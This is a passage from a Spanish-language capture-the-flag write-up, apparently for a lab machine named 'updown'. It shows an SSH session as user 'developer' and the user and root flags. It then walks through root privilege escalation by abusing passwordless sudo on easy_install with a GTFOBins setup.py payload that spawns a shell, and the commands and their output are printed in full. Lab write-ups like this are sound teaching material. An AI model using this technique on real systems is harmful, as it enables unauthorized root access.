   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Sep  7 19:36:02 2022 from 10.10.14.49
developer@updown:~$ whoami;id;pwd
developer
uid=1002(developer) gid=1002(developer) groups=1002(developer)
/home/developer
developer@updown:~$ cat user.txt
7fb0f643feb421c8ba6c3a784cb00291
developer@updown:~$

Privesc

El usuario developer puede ejecutar easy_install con sudo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
developer@updown:~$ sudo -l -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:

Sudoers entry:
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
        /usr/local/bin/easy_install
developer@updown:~$

Utilizamos la sintaxis recomendada por GTFOBins para ejecutar una shell inversa.

1
2
3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF

Logrando asi obtener acceso como root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.Ms5WAX1pHE
Writing /tmp/tmp.Ms5WAX1pHE/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.Ms5WAX1pHE/egg-dist-tmp-Gc6piG
# whoami
root
# cd /root
# ls
root.txt  snap
# cat root.txt
2221bcd7b9ead18790e1cc18f3df5754
#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe